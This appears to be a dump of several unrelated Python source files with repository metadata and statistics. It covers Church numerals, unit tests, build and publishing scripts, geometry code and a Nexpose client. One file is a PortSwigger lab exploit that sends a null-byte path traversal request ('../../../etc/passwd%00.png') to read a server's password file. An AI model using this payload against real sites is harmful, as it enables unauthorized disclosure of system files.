f, such that f(x) = h(g(x)).""" def f(x): return h(g(x)) return f def make_repeater(h, n): """Return the function that computes the nth application of h. >>> add_three = make_repeater(increment, 3) >>> add_three(5) 8 >>> make_repeater(triple, 5)(1) # 3 * 3 * 3 * 3 * 3 * 1 243 >>> make_repeater(square, 2)(5) # square(square(5)) 625 >>> make_repeater(square, 4)(5) # square(square(square(square(5)))) 152587890625 >>> make_repeater(square, 0)(5) # Yes, it makes sense to apply the function zero times! 5 """ "*** YOUR CODE HERE ***" def repeater(x): result, k = x,1 while k <= n: result,k = h(result), k + 1 return result return repeater ########################## # Just for fun Questions # ########################## def zero(f): return lambda x: x def successor(n): return lambda f: lambda x: f(n(f)(x)) def one(f): """Church numeral 1: same as successor(zero)""" "*** YOUR CODE HERE ***" return lambda x: f(x) def two(f): """Church numeral 2: same as successor(successor(zero))""" "*** YOUR CODE HERE ***" return lambda x: f(f(x)) three = successor(two) def church_to_int(n): """Convert the Church numeral n to a Python integer. >>> church_to_int(zero) 0 >>> church_to_int(one) 1 >>> church_to_int(two) 2 >>> church_to_int(three) 3 """ "*** YOUR CODE HERE ***" return n(lambda x: x + 1)(0) def add_church(m, n): """Return the Church numeral for m + n, for Church numerals m and n. >>> church_to_int(add_church(two, three)) 5 """ "*** YOUR CODE HERE ***" return lambda f: lambda x: m(f)(n(f)(x)) def mul_church(m, n): """Return the Church numeral for m * n, for Church numerals m and n. >>> four = successor(three) >>> church_to_int(mul_church(two, three)) 6 >>> church_to_int(mul_church(three, four)) 12 """ "*** YOUR CODE HERE ***" return lambda f: m(n(f)) def pow_church(m, n): """Return the Church numeral m ** n, for Church numerals m and n. >>> church_to_int(pow_church(two, three)) 8 >>> church_to_int(pow_church(three, two)) 9 """ "*** YOUR CODE HERE ***" return n(m)

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0

null

0

null

0

1

0

1

e409ad0c94dc67812d4ce4eb1f3a9b3b256b6a43

638

py

Python

acceptance/test/TestStartStopFeature.py

ismacaulay/qtcwatchdog

72f3588eef1019bac8788fa58c52722dfa7c4d28

[ "MIT" ]

null

acceptance/test/TestStartStopFeature.py

ismacaulay/qtcwatchdog

72f3588eef1019bac8788fa58c52722dfa7c4d28

[ "MIT" ]

12

2015-10-22T15:38:28.000Z

2016-03-22T18:53:57.000Z

acceptance/test/TestStartStopFeature.py

ismacaulay/qtcwatchdog

72f3588eef1019bac8788fa58c52722dfa7c4d28

[ "MIT" ]

null

from acceptance.harness.acceptance_test import WatchdogAcceptanceTest class TestStartStopFeature(WatchdogAcceptanceTest): def test_willStartObserverWhenWatchdogStarted(self): self.create_and_start_watchdog() self.assertTrue(self.fs_observer.running) def test_willStopObserverWhenWatchdogStopped(self): self.create_and_start_watchdog() self.watchdog.stop() self.assertFalse(self.fs_observer.running) def test_willJoinObserverThreadWhenWatchdogStopped(self): self.create_and_start_watchdog() self.watchdog.stop() self.assertTrue(self.fs_observer.joined)

26.583333

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638

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null

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null

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1

0

1

e409e1ff47556f0c395cedaf6538d4e9082df50c

1,243

py

Python

neural_spline_flows/nde/transforms/transform_test.py

VincentStimper/nsf

6bde505639ebcb67bffa227ea0021e3de235e03d

[ "MIT" ]

null

neural_spline_flows/nde/transforms/transform_test.py

VincentStimper/nsf

6bde505639ebcb67bffa227ea0021e3de235e03d

[ "MIT" ]

null

neural_spline_flows/nde/transforms/transform_test.py

VincentStimper/nsf

6bde505639ebcb67bffa227ea0021e3de235e03d

[ "MIT" ]

null

import torch import torchtestcase from neural_spline_flows.nde.transforms import base class TransformTest(torchtestcase.TorchTestCase): """Base test for all transforms.""" def assert_tensor_is_good(self, tensor, shape=None): self.assertIsInstance(tensor, torch.Tensor) self.assertFalse(torch.isnan(tensor).any()) self.assertFalse(torch.isinf(tensor).any()) if shape is not None: self.assertEqual(tensor.shape, torch.Size(shape)) def assert_forward_inverse_are_consistent(self, transform, inputs): inverse = base.InverseTransform(transform) identity = base.CompositeTransform([inverse, transform]) outputs, logabsdet = identity(inputs) self.assert_tensor_is_good(outputs, shape=inputs.shape) self.assert_tensor_is_good(logabsdet, shape=inputs.shape[:1]) self.assertEqual(outputs, inputs) self.assertEqual(logabsdet, torch.zeros(inputs.shape[:1])) def assertNotEqual(self, first, second, msg=None): if ((self._eps and (first - second).abs().max().item() < self._eps) or (not self._eps and torch.equal(first, second))): self._fail_with_message(msg, "The tensors are _not_ different!")

37.666667

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0.042908

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0.052443

0

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0.192277

1,243

32

79

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0.833665

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0.5

1

0.136364

false

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0.318182

0

null

0

null

0

1

0

1

e40c283a7830ae526fea47bfe3f1719fdb809be3

358

py

Python

directory-traversal/validate-file-extension-null-byte-bypass.py

brandonaltermatt/penetration-testing-scripts

433b5d000a5573e60b9d8e49932cedce74937ebc

[ "MIT" ]

null

directory-traversal/validate-file-extension-null-byte-bypass.py

brandonaltermatt/penetration-testing-scripts

433b5d000a5573e60b9d8e49932cedce74937ebc

[ "MIT" ]

null

directory-traversal/validate-file-extension-null-byte-bypass.py

brandonaltermatt/penetration-testing-scripts

433b5d000a5573e60b9d8e49932cedce74937ebc

[ "MIT" ]

null

""" https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass """ import sys import requests site = sys.argv[1] if 'https://' in site: site = site.rstrip('/').lstrip('https://') url = f'''https://{site}/image?filename=../../../etc/passwd%00.png''' s = requests.Session() resp = s.get(url) print(resp.text)

21.058824

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358

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null

0

null

0

1

0

1

7c0efca532f7042e0db58c5e7fb4f25f0274261b

3,437

py

Python

Assignment Day 2 .py

ShubhamKahlon57/Letsupgrade-python-Batch-7

7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af

[ "Apache-2.0" ]

null

Assignment Day 2 .py

ShubhamKahlon57/Letsupgrade-python-Batch-7

7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af

[ "Apache-2.0" ]

null

Assignment Day 2 .py

ShubhamKahlon57/Letsupgrade-python-Batch-7

7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af

[ "Apache-2.0" ]

null

#!/usr/bin/env python # coding: utf-8 # In[ ]: #List and function # In[6]: # empty list my_list = [] # list of integers my_list = [1, 2, 3] # list with mixed data types my_list = [1, "Hello", 3.4] # In[7]: # nested list my_list = ["mouse", [8, 4, 6], ['a']] # In[11]: # List indexing my_list = ['p', 'r', 'o', 'b', 'e'] # Output: p print(my_list[0]) # Output: o print(my_list[2]) # Output: e print(my_list[4]) # Nested List n_list = ["Happy", [2, 0, 1, 5]] # Nested indexing print(n_list[0][1]) print(n_list[1][3]) # Error! Only integer can be used for indexing print(my_list[4]) # In[9]: # Appending and Extending lists in Python odd = [1, 3, 5] odd.append(7) print(odd) odd.extend([9, 11, 13]) print(odd) # In[13]: # Deleting list items my_list = ['p', 'r', 'o', 'b', 'l', 'e', 'm'] # delete one item del my_list[2] print(my_list) # delete multiple items del my_list[1:5] print(my_list) # delete entire list del my_list # In[14]: # Appending and Extending lists in Python odd = [1, 3, 5] odd.append(7) print(odd) odd.extend([9, 11, 13]) print(odd) # In[15]: #Dictionary and function # In[18]: y_dict = {} # dictionary with integer keys my_dict = {1: 'apple', 2: 'ball'} # dictionary with mixed keys my_dict = {'name': 'John', 1: [2, 4, 3]} # using dict() my_dict = dict({1:'apple', 2:'ball'}) # from sequence having each item as a pair my_dict = dict([(1,'apple'), (2,'ball')]) # In[20]: # get vs [] for retrieving elements my_dict = {'name': 'Jack', 'age': 26} # Output: Jack print(my_dict['name']) # Output: 26 print(my_dict.get('age')) # In[21]: # Changing and adding Dictionary Elements my_dict = {'name': 'Jack', 'age': 26} # update value my_dict['age'] = 27 #Output: {'age': 27, 'name': 'Jack'} print(my_dict) # add item my_dict['address'] = 'Downtown' # Output: {'address': 'Downtown', 'age': 27, 'name': 'Jack'} print(my_dict) # In[22]: #Sets and its function # In[23]: my_set = {1, 2, 3} print(my_set) # In[24]: my_set = {1.0, "Hello", (1, 2, 3)} print(my_set) # In[25]: # set cannot have duplicates my_set = {1, 2, 3, 4, 3, 2} print(my_set) # In[26]: #Tuple and its method # In[27]: # Tuple having integers my_tuple = (1, 2, 3) print(my_tuple) # In[28]: my_tuple = ("hello") print(type(my_tuple)) # In[30]: # Accessing tuple elements using indexing my_tuple = ('p','e','r','m','i','t') print(my_tuple[0]) print(my_tuple[5]) # In[31]: print(my_tuple[-1]) # In[32]: print(my_tuple[-6]) # In[36]: # Changing tuple values my_tuple = (4, 2, 3, [6, 5]) # TypeError: 'tuple' object does not support item assignment # my_tuple[1] = 9 # However, item of mutable element can be changed my_tuple[3][0] = 9 # Output: (4, 2, 3, [9, 5]) print(my_tuple) # Tuples can be reassigned my_tuple = ('p', 'r', 'o', 'g', 'r', 'a', 'm', 'i', 'z') # Output: ('p', 'r', 'o', 'g', 'r', 'a', 'm', 'i', 'z') print(my_tuple) # In[37]: #String and its function # In[38]: # Python string examples - all assignments are identical. String_var = 'Python' String_var = "Python" String_var = """Python""" # with Triple quotes Strings can extend to multiple lines String_var = """ This document will help you to explore all the concepts of Python Strings!!! """ # Replace "document" with "tutorial" and store in another variable substr_var = String_var.replace("document", "tutorial") print (substr_var) # In[ ]:

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false

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null

0

null

0

1

0

1

7c0f552f843493e2753dc5c4baf8ccf2206f5f32

195

py

Python

hackerrank/pickingNumbers.py

irvandindaprakoso/online-test-py

a7a6cd98ba3e0b74558ecb7e431eb2729077a38a

[ "W3C" ]

null

hackerrank/pickingNumbers.py

irvandindaprakoso/online-test-py

a7a6cd98ba3e0b74558ecb7e431eb2729077a38a

[ "W3C" ]

null

hackerrank/pickingNumbers.py

irvandindaprakoso/online-test-py

a7a6cd98ba3e0b74558ecb7e431eb2729077a38a

[ "W3C" ]

null

def pickingNumbers(a): # Write your code here max = 0 for i in a: c = a.count(i) d = a.count(i-1) e = c+d if e>max: max = e return max

17.727273

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0.435897

32

195

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0.164706

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195

10

27

19.5

0.790476

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0

0.1

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0.222222

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null

0

null

0

1

0

1

7c18032075b4197ee9055f4f541529df445b2854

998

py

Python

tests/cli/conftest.py

Aahbree/reference-data-repository

f318c0532aaf941ec4f00c8375c9dea45c56f186

[ "MIT" ]

null

tests/cli/conftest.py

Aahbree/reference-data-repository

f318c0532aaf941ec4f00c8375c9dea45c56f186

[ "MIT" ]

5

2021-01-27T22:17:19.000Z

2021-12-14T17:13:58.000Z

tests/cli/conftest.py

Aahbree/reference-data-repository

f318c0532aaf941ec4f00c8375c9dea45c56f186

[ "MIT" ]

5

2021-12-08T02:33:44.000Z

2021-12-13T03:21:51.000Z

# This file is part of the Reference Data Repository (refdata). # # Copyright (C) 2021 New York University. # # refdata is free software; you can redistribute it and/or modify it under the # terms of the MIT License; see LICENSE file for more details. """Fixtures for testing the command-line interface.""" import os import pytest from click.testing import CliRunner from refdata.db import DB import refdata.config as config @pytest.fixture def refdata_cli(tmpdir): """Initialize the environment and the database for the local store.""" basedir = os.path.abspath(str(tmpdir)) connect_url = 'sqlite:///{}'.format(os.path.join(basedir, 'test.db')) DB(connect_url=connect_url).init() os.environ[config.ENV_BASEDIR] = basedir os.environ[config.ENV_URL] = connect_url # Make sure to reset the database. yield CliRunner() # Clear environment variables that were set for the test runner. del os.environ[config.ENV_BASEDIR] del os.environ[config.ENV_URL]

30.242424

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0.733467

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998

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998

32

79

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false

0

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0.4

0

null

0

null

0

1

0

1

7c1a4912119b5eeaa02dc5d6942de0df8f969733

1,783

py

Python

python/jittor/utils/publish.py

Jittor/Jittor

bc945bae94bded917214b0afe12be6bf5b919dbe

[ "Apache-2.0" ]

4

2020-01-12T13:16:16.000Z

2020-01-12T15:43:54.000Z

python/jittor/utils/publish.py

Jittor/Jittor

bc945bae94bded917214b0afe12be6bf5b919dbe

[ "Apache-2.0" ]

null

python/jittor/utils/publish.py

Jittor/Jittor

bc945bae94bded917214b0afe12be6bf5b919dbe

[ "Apache-2.0" ]

1

2020-01-12T13:17:17.000Z

#!/usr/bin/python3 # *************************************************************** # Copyright (c) 2022 Jittor. All Rights Reserved. # Maintainers: # Dun Liang <randonlang@gmail.com>. # # This file is subject to the terms and conditions defined in # file 'LICENSE.txt', which is part of this source code package. # *************************************************************** # Publish steps: # 1. build,push,upload docker image[jittor/jittor] # 2. build,push,upload docker image[jittor/jittor-cuda] # upload to pip: # rm -rf dist && python3.7 ./setup.py sdist && python3.7 -m twine upload dist/* import os def run_cmd(cmd): print("[run cmd]", cmd) assert os.system(cmd) == 0 def upload_file(path): run_cmd(f"rsync -avPu {path} jittor-web:Documents/jittor-blog/assets/build/") def docker_task(name, build_cmd): run_cmd(build_cmd) run_cmd(f"sudo docker push {name}") bname = os.path.basename(name) run_cmd(f"sudo docker save {name}:latest -o /tmp/{bname}.tgz && sudo chmod 666 /tmp/{bname}.tgz") upload_file(f"/tmp/{bname}.tgz") docker_task( "jittor/jittor-cuda-11-1", "sudo docker build --tag jittor/jittor-cuda-11-1:latest -f script/Dockerfile_cuda11 . --network host" ) docker_task( "jittor/jittor", "sudo docker build --tag jittor/jittor:latest . --network host" ) docker_task( "jittor/jittor-cuda", "sudo docker build --tag jittor/jittor-cuda:latest --build-arg FROM_IMAGE='nvidia/cuda:10.2-cudnn7-devel-ubuntu18.04' . --network host" ) docker_task( "jittor/jittor-cuda-10-1", "sudo docker build --tag jittor/jittor-cuda-10-1:latest --build-arg FROM_IMAGE='nvidia/cuda:10.1-cudnn7-devel-ubuntu18.04' . --network host" ) run_cmd("ssh jittor-web Documents/jittor-blog.git/hooks/post-update")

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0.077465

0.498239

0.387324

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0.123239

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1,783

52

145

34.288462

0.712141

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0

0.137931

0

0.137931

0.643098

0.296296

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0.103448

false

0

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0.137931

0.034483

0

null

0

1

0

null

0

1

7c1dfdf1304b0b11fe75fef3682da8277a3d5207

2,981

py

Python

racer/methods/genetic_programming/parameterized.py

max-eth/racer

952991aedec5d8229bb1126c9c066613f5c30146

[ "MIT" ]

1

2022-02-26T00:10:03.000Z

racer/methods/genetic_programming/parameterized.py

max-eth/racer

952991aedec5d8229bb1126c9c066613f5c30146

[ "MIT" ]

null

racer/methods/genetic_programming/parameterized.py

max-eth/racer

952991aedec5d8229bb1126c9c066613f5c30146

[ "MIT" ]

null

import copy import numpy as np from racer.utils import load_pickle from racer.methods.genetic_programming.program_tree import ProgramTree class ParameterizedTree(ProgramTree): # This makes the assumption that all children of the underlying tree are in a field .children and that the underlying tree has the field .name def __init__(self, underlying_tree, init_fct=None, _copy=True): if _copy: underlying_tree = copy.deepcopy(underlying_tree) # safety first if hasattr(underlying_tree, "children"): underlying_tree.children = [ ParameterizedTree(underlying_tree=child, _copy=False) for child in underlying_tree.children ] self.underlying_tree = underlying_tree if init_fct is None: self.set_params([1, 0]) else: self.set_params(init_fct()) def set_params(self, params): self.weight, self.bias = params self.name = self.underlying_tree.name + " * {} + {}".format( self.weight, self.bias ) def get_params(self): return [self.weight, self.bias] def __call__(self, *x): return self.underlying_tree(*x) * self.weight + self.bias def __len__(self): return len(self.underlying_tree) def display(self, prefix): res = prefix + self.name + "\n" if hasattr(self.underlying_tree, "children"): for child in self.underlying_tree.children: res += child.display(prefix=" " + prefix) return res def _set_dirty(self): raise Exception("Parameterized trees should not be mutated") def in_order(self): yield self if hasattr(self.underlying_tree, "children"): for child in self.underlying_tree.children: for node in child.in_order(): yield node class ParameterizedIndividual: def __init__(self, parameterized_trees): self.parameterized_trees = parameterized_trees @staticmethod def from_individual(ind): return ParameterizedIndividual( parameterized_trees=[ParameterizedTree(tree) for tree in ind.trees] ) @staticmethod def from_pickled_individual(fname): return ParameterizedIndividual.from_individual(load_pickle(fname)) def __call__(self, *x): return [tree(*x) for tree in self.parameterized_trees] def __len__(self): return sum(len(tree) for tree in self.parameterized_trees) def set_flat_parameters(self, params): n_used = 0 for tree in self.parameterized_trees: for node in tree.in_order(): node.set_params(list(params[n_used : n_used + 2])) n_used += 2 def get_flat_parameters(self): params = [] for tree in self.parameterized_trees: for node in tree.in_order(): params += node.get_params() return np.array(params)

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146

0.637035

356

2,981

5.103933

0.255618

0.13869

0.089158

0.039626

0.226197

0.171712

0.134287

0

0.002325

0.27843

2,981

91

147

32.758242

0.842399

0.051325

0

0.2

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0.027965

0

1

0.214286

false

0

0.057143

0.1

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0

null

0

null

0

1

0

1

7c28fc0563fc8f73fd257c1d3e24a953c2e9ec7c

1,780

py

Python

src/compas/datastructures/mesh/bbox.py

arpastrana/compas

ed677a162c14dbe562c82d72f370279259faf7da

[ "MIT" ]

2

2021-03-17T18:14:22.000Z

2021-09-19T13:50:02.000Z

src/compas/datastructures/mesh/bbox.py

arpastrana/compas

ed677a162c14dbe562c82d72f370279259faf7da

[ "MIT" ]

9

2019-09-11T08:53:19.000Z

2019-09-16T08:35:39.000Z

src/compas/datastructures/mesh/bbox.py

Licini/compas

34f65adb3d0abc3f403312ffba62aa76f3376292

[ "MIT" ]

null

from __future__ import absolute_import from __future__ import division from __future__ import print_function from compas.geometry import bounding_box from compas.geometry import bounding_box_xy __all__ = [ 'mesh_bounding_box', 'mesh_bounding_box_xy', ] def mesh_bounding_box(mesh): """Compute the (axis aligned) bounding box of a mesh. Parameters ---------- mesh : compas.datastructures.Mesh The mesh data structure. Returns ------- list of point The 8 corners of the bounding box of the mesh. Examples -------- >>> mesh_bounding_box(mesh) [[0.0, 0.0, 0.0], [10.0, 0.0, 0.0], [10.0, 10.0, 0.0], [0.0, 10.0, 0.0], [0.0, 0.0, 0.0], [10.0, 0.0, 0.0], [10.0, 10.0, 0.0], [0.0, 10.0, 0.0]] """ xyz = mesh.vertices_attributes('xyz', keys=list(mesh.vertices())) return bounding_box(xyz) def mesh_bounding_box_xy(mesh): """Compute the (axis aligned) bounding box of a projection of the mesh in the XY plane. Parameters ---------- mesh : compas.datastructures.Mesh The mesh data structure. Returns ------- list of point The 4 corners of the bounding polygon in the XY plane. Examples -------- >>> mesh_bounding_box_xy(mesh) [[0.0, 0.0, 0.0], [10.0, 0.0, 0.0], [10.0, 10.0, 0.0], [0.0, 10.0, 0.0]] """ xyz = mesh.vertices_attributes('xyz') return bounding_box_xy(xyz) # ============================================================================== # Main # ============================================================================== if __name__ == '__main__': import doctest import compas from compas.datastructures import Mesh mesh = Mesh.from_obj(compas.get('faces.obj')) doctest.testmod()

23.733333

148

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247

1,780

3.842105

0.206478

0.096944

0.110643

0.101159

0.514226

0.478398

0.404636

0.322445

0

0.061297

0.211798

1,780

74

149

24.054054

0.61511

0.538202

0

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0

1

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false

0

0.380952

0

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0.047619

0

null

0

null

0

1

0

1

7c3522929deb4bb2524b97c1af2b5f08df9a050e

5,585

py

Python

backend/0_publish_audio.py

bmj-hackathon/ethberlinzwei-babelfish_3_0

e986ad1b9fa896f20d7cdd296d130d804f55ecfa

[ "Apache-2.0" ]

1

2019-08-28T12:12:09.000Z

backend/0_publish_audio.py

bmj-hackathon/ethberlinzwei-babelfish_3_0

e986ad1b9fa896f20d7cdd296d130d804f55ecfa

[ "Apache-2.0" ]

8

2020-09-07T01:00:44.000Z

2022-03-02T05:19:32.000Z

backend/0_publish_audio.py

bmj-hackathon/ethberlinzwei-babelfish_3_0

e986ad1b9fa896f20d7cdd296d130d804f55ecfa

[ "Apache-2.0" ]

3

2019-08-24T20:36:08.000Z

2021-02-18T20:28:11.000Z

import sys import logging # loggers_dict = logging.Logger.manager.loggerDict # # logger = logging.getLogger() # logger.handlers = [] # # # Set level # logger.setLevel(logging.DEBUG) # # # FORMAT = "%(asctime)s - %(levelno)s - %(module)-15s - %(funcName)-15s - %(message)s" # # FORMAT = "%(asctime)s %(levelno)s: %(module)30s %(message)s" # FORMAT = "%(levelno)s - %(module)-15s - %(funcName)-15s - %(message)s" # # DATE_FMT = "%Y-%m-%d %H:%M:%S" # DATE_FMT = "%Y-%m-%d %H:%M:%S" # formatter = logging.Formatter(FORMAT, DATE_FMT) # # # Create handler and assign # handler = logging.StreamHandler(sys.stderr) # handler.setFormatter(formatter) # logger.handlers = [handler] # logger.debug("Logging started") #%% # Standard imports import os from pathlib import Path import json from time import sleep # Ocean imports import squid_py from squid_py.ocean.ocean import Ocean from squid_py.config import Config from pprint import pprint import mantaray_utilities as manta_utils from mantaray_utilities.user import password_map #%% CONFIG OCEAN_CONFIG_PATH = Path().cwd() / 'config_nile.ini' assert OCEAN_CONFIG_PATH.exists(), "{} - path does not exist".format(OCEAN_CONFIG_PATH) os.environ['OCEAN_CONFIG_PATH'] = str(OCEAN_CONFIG_PATH) PASSWORD_PATH=Path().cwd() / ".nile_passwords" assert PASSWORD_PATH.exists() os.environ["PASSWORD_PATH"] = str(PASSWORD_PATH) MARKET_PLACE_PROVIDER_ADDRESS="0x376817c638d2a04f475a73af37f7b51a2862d567" os.environ["MARKET_PLACE_PROVIDER_ADDRESS"] = MARKET_PLACE_PROVIDER_ADDRESS JSON_TEMPLATE = Path().cwd() / 'metadata_template.json' assert JSON_TEMPLATE.exists() #%% ARGPARSE import argparse parser = argparse.ArgumentParser(description='Publish audio') parser.add_argument('--url', type=str, help='URL for input audio file') parser.add_argument('--price', type=int, help='Selling price in Ocean token') parser.add_argument('--reward', type=int, help='Reward offered in Ocean token') parser.add_argument('--number-nodes', type=int, help='Number of processor nodes requested') args = parser.parse_args() logging.info("************************************************************".format()) logging.info("*** ETHBERLINZWEI HACKATHON ***".format()) logging.info("*** SPEECH2TEXT ***".format()) logging.info("*** STEP 1 - CLIENT REGISTERS A CLIP INTO OCEAN PROTOCOL ***".format()) logging.info("************************************************************".format()) logging.info("".format()) logging.info("(Step 1.1 not implemented - upload audio file from client to storage)".format()) logging.info("Publishing Audio to NILE network: {}".format(args.url)) logging.info("Will set price to {} OCEAN".format(args.price)) logging.info("Offering {} OCEAN reward".format(args.reward)) logging.info("Requesting {} processors".format(args.number_nodes)) logging.info("".format()) #%% # Get the configuration file path for this environment logging.info("Configuration file selected: {}".format(OCEAN_CONFIG_PATH)) # logging.critical("Deployment type: {}".format(manta_utils.config.get_deployment_type())) logging.info("Squid API version: {}".format(squid_py.__version__)) #%% # Instantiate Ocean with the default configuration file. configuration = Config(OCEAN_CONFIG_PATH) squid_py.ConfigProvider.set_config(configuration) ocn = Ocean(configuration) #%% # Get a publisher account publisher_acct = manta_utils.user.get_account_by_index(ocn,0) #%% logging.info("Publisher account address: {}".format(publisher_acct.address)) logging.info("Publisher account Testnet 'ETH' balance: {:>6.1f}".format(ocn.accounts.balance(publisher_acct).eth/10**18)) logging.info("Publisher account Testnet Ocean balance: {:>6.1f}".format(ocn.accounts.balance(publisher_acct).ocn/10**18)) def publish(url, price, reward, number_nodes): # metadata = squid_py.ddo.metadata.Metadata.get_example() # print('Name of asset:', metadata['base']['name']) with open(JSON_TEMPLATE, 'r') as f: metadata = json.load(f) metadata['base']['files'][0]['url'] = url metadata['base']['price'] = str(price) metadata['additionalInformation']['reward'] = str(reward) metadata['additionalInformation']['numberNodes'] = str(number_nodes) ddo = ocn.assets.create(metadata, publisher_acct) registered_did = ddo.did logging.info("New asset registered at {}".format(str(registered_did))) logging.info("Asset name: {}".format(metadata['base']['name'])) logging.info("Encrypted files to secret store, cipher text: [{}...] . ".format(ddo.metadata['base']['encryptedFiles'][:50])) return registered_did registered_did = publish(args.url, args.price, args.reward, args.number_nodes) #TODO: Better handling based on reciept print("Wait for the transaction to complete!") sleep(10) # %% ddo = ocn.assets.resolve(registered_did) # print("Asset '{}' resolved from Aquarius metadata storage: {}".format(ddo.did,ddo.metadata['base']['name'])) # %% [markdown] # Similarly, we can verify that this asset is registered into the blockchain, and that you are the owner. # %% # We need the pure ID string as in the DID registry (a DID without the prefixes) asset_id = squid_py.did.did_to_id(registered_did) owner = ocn._keeper.did_registry.contract_concise.getDIDOwner(asset_id) # print("Asset ID", asset_id, "owned by", owner) assert str.lower(owner) == str.lower(publisher_acct.address) logging.info("".format()) logging.info("Successfully registered Audio!".format()) logging.info("Asset Owner: {}".format(owner)) logging.info("Asset DID: {}".format(registered_did))

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false

0.054054

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0.027027

0

null

0

null

0

1

0

1

7c359f84b8ac8bafab4c67c76d69bd091361babb

3,613

py

Python

nexpose/nexpose_vulnerabilityexception.py

Patralos/nexpose-client-python

bec81da29883b1b004046e29a9e7f7a6686467c1

[ "BSD-3-Clause" ]

29

2017-06-27T04:44:03.000Z

2021-11-29T15:04:00.000Z

nexpose/nexpose_vulnerabilityexception.py

Patralos/nexpose-client-python

bec81da29883b1b004046e29a9e7f7a6686467c1

[ "BSD-3-Clause" ]

40

2017-06-21T18:00:49.000Z

2018-06-06T21:13:34.000Z

nexpose/nexpose_vulnerabilityexception.py

Patralos/nexpose-client-python

bec81da29883b1b004046e29a9e7f7a6686467c1

[ "BSD-3-Clause" ]

23

2017-07-18T16:40:57.000Z

2021-01-26T09:58:53.000Z

# Future Imports for py2/3 backwards compat. from __future__ import (absolute_import, division, print_function, unicode_literals) from builtins import object from .xml_utils import get_attribute, get_content_of from future import standard_library standard_library.install_aliases() def fix_null(data): if data == 'null': return 0 return data class VulnerabilityExceptionStatus(object): UNDER_REVIEW = "Under Review" APPROVED = "Approved" REJECTED = "Rejected" DELETED = "Deleted" # This state is also used for recalled exceptions! class VulnerabilityExceptionReason(object): FALSE_POSITIVE = "False Positive" COMPENSATING_CONTROL = "Compensating Control" ACCEPTABLE_USE = "Acceptable Use" ACCEPTABLE_RISK = "Acceptable Risk" OTHER = "Other" class VulnerabilityExceptionScope(object): ALL_INSTANCES = "All Instances" ALL_INSTANCES_SPECIFIC_ASSET = "All Instances on a Specific Asset" ALL_INSTANCES_SPECIFIC_SITE = "All Instances on a Specific Site" SPECIFIC_INSTANCE_SPECIFIC_ASSET = "Specific Instance of Specific Asset" class SiloVulnerabilityExceptionDetails(object): @staticmethod def CreateFromXML(xml_data): details = SiloVulnerabilityExceptionDetails() details.silo_id = get_attribute(xml_data, 'siloId', details.silo_id) details.oldest_exception_creation_date = get_attribute(xml_data, 'oldestExceptionCreationDate', details.oldest_exception_creation_date) # TODO: date object details.pending_exception_count = get_attribute(xml_data, 'pendingVulnExceptionsCount', details.pending_exception_count) return details def __init__(self): self.silo_id = '' self.oldest_exception_creation_date = 'N/A' # TODO: date object self.pending_exception_count = 0 class VulnerabilityException(object): @staticmethod def CreateFromXML(xml_data): details = VulnerabilityException() details.id = int(get_attribute(xml_data, 'exception-id', details.id)) details.vulnerability_id = get_attribute(xml_data, 'vuln-id', details.vulnerability_id) details.vulnerability_key = get_attribute(xml_data, 'vuln-key', details.vulnerability_key) details.expiration_date = get_attribute(xml_data, 'expiration-date', details.expiration_date) # TODO: date object details.submitter = get_attribute(xml_data, 'submitter', details.submitter) details.submitter_comment = get_content_of(xml_data, 'submitter-comment', details.submitter_comment) details.reviewer = get_attribute(xml_data, 'reviewer', details.reviewer) details.reviewer_comment = get_content_of(xml_data, 'reviewer-comment', details.reviewer_comment) details.status = get_attribute(xml_data, 'status', details.status) details.reason = get_attribute(xml_data, 'reason', details.reason) details.scope = get_attribute(xml_data, 'scope', details.scope) details.asset_id = int(fix_null(get_attribute(xml_data, 'device-id', details.asset_id))) details.asset_port = int(fix_null(get_attribute(xml_data, 'port-no', details.asset_port))) return details def __init__(self): self.id = 0 self.vulnerability_id = '' self.vulnerability_key = '' self.expiration_date = '' # TODO: date object self.submitter = '' self.submitter_comment = '' self.reviewer = '' self.reviewer_comment = '' self.status = '' self.reason = '' self.scope = '' self.asset_id = 0 self.asset_port = 0

42.011628

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3,613

6.056373

0.245098

0.050992

0.084986

0.107649

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0.10603

0.062323

0

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3,613

85

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42.505882

0.846735

0.045115

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false

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0

0.442857

0.014286

0

null

0

null

0

1

0

1

7c4bb1688cf1e8399ddcf1585b39fc36418f8801

827

py

Python

modules/gitbox/files/asfgit/hooks/sync.py

Humbedooh/infrastructure-puppet

a85f797d847b80e877cd5b7c66513970f6f80703

[ "Apache-2.0" ]

1

2019-06-09T10:25:04.000Z

modules/gitbox/files/asfgit/hooks/sync.py

Humbedooh/infrastructure-puppet

a85f797d847b80e877cd5b7c66513970f6f80703

[ "Apache-2.0" ]

1

2020-05-08T07:07:43.000Z

modules/gitbox/files/asfgit/hooks/sync.py

Humbedooh/infrastructure-puppet

a85f797d847b80e877cd5b7c66513970f6f80703

[ "Apache-2.0" ]

1

2019-12-31T07:28:19.000Z

#!/usr/local/bin/python import json import socket import sys import asfgit.cfg as cfg import asfgit.git as git import asfgit.log as log import asfgit.util as util import subprocess, os, time def main(): ghurl = "git@github:apache/%s.git" % cfg.repo_name os.chdir("/x1/repos/asf/%s.git" % cfg.repo_name) try: for ref in git.stream_refs(sys.stdin): if ref.is_rewrite(): print("Syncing %s (FORCED)..." % ref.name) subprocess.check_call(["git", "push", "-f", ghurl, "%s:%s" % (ref.newsha, ref.name)]) else: print("Syncing %s..." % ref.name) subprocess.check_call(["git", "push", ghurl, "%s:%s" % (ref.newsha, ref.name)]) except subprocess.CalledProcessError as err: util.abort("Could not sync with GitHub: %s" % err.output)

30.62963

98

0.613059

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0.043912

0.283433

0.223553

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null

0

null

0

1

0

1

7c5785c50891073f1d8d050a467303e1d02503f4

5,967

py

Python

fair/forcing/ozone_tr.py

znicholls/FAIR

599c44ed140b069968ba7d1ca99de40218e42545

[ "Apache-2.0" ]

1

2020-11-14T16:09:39.000Z

fair/forcing/ozone_tr.py

znicholls/FAIR

599c44ed140b069968ba7d1ca99de40218e42545

[ "Apache-2.0" ]

1

2020-11-02T17:59:02.000Z

fair/forcing/ozone_tr.py

znicholls/FAIR

599c44ed140b069968ba7d1ca99de40218e42545

[ "Apache-2.0" ]

2

2020-11-02T16:42:05.000Z

2020-12-15T16:36:24.000Z

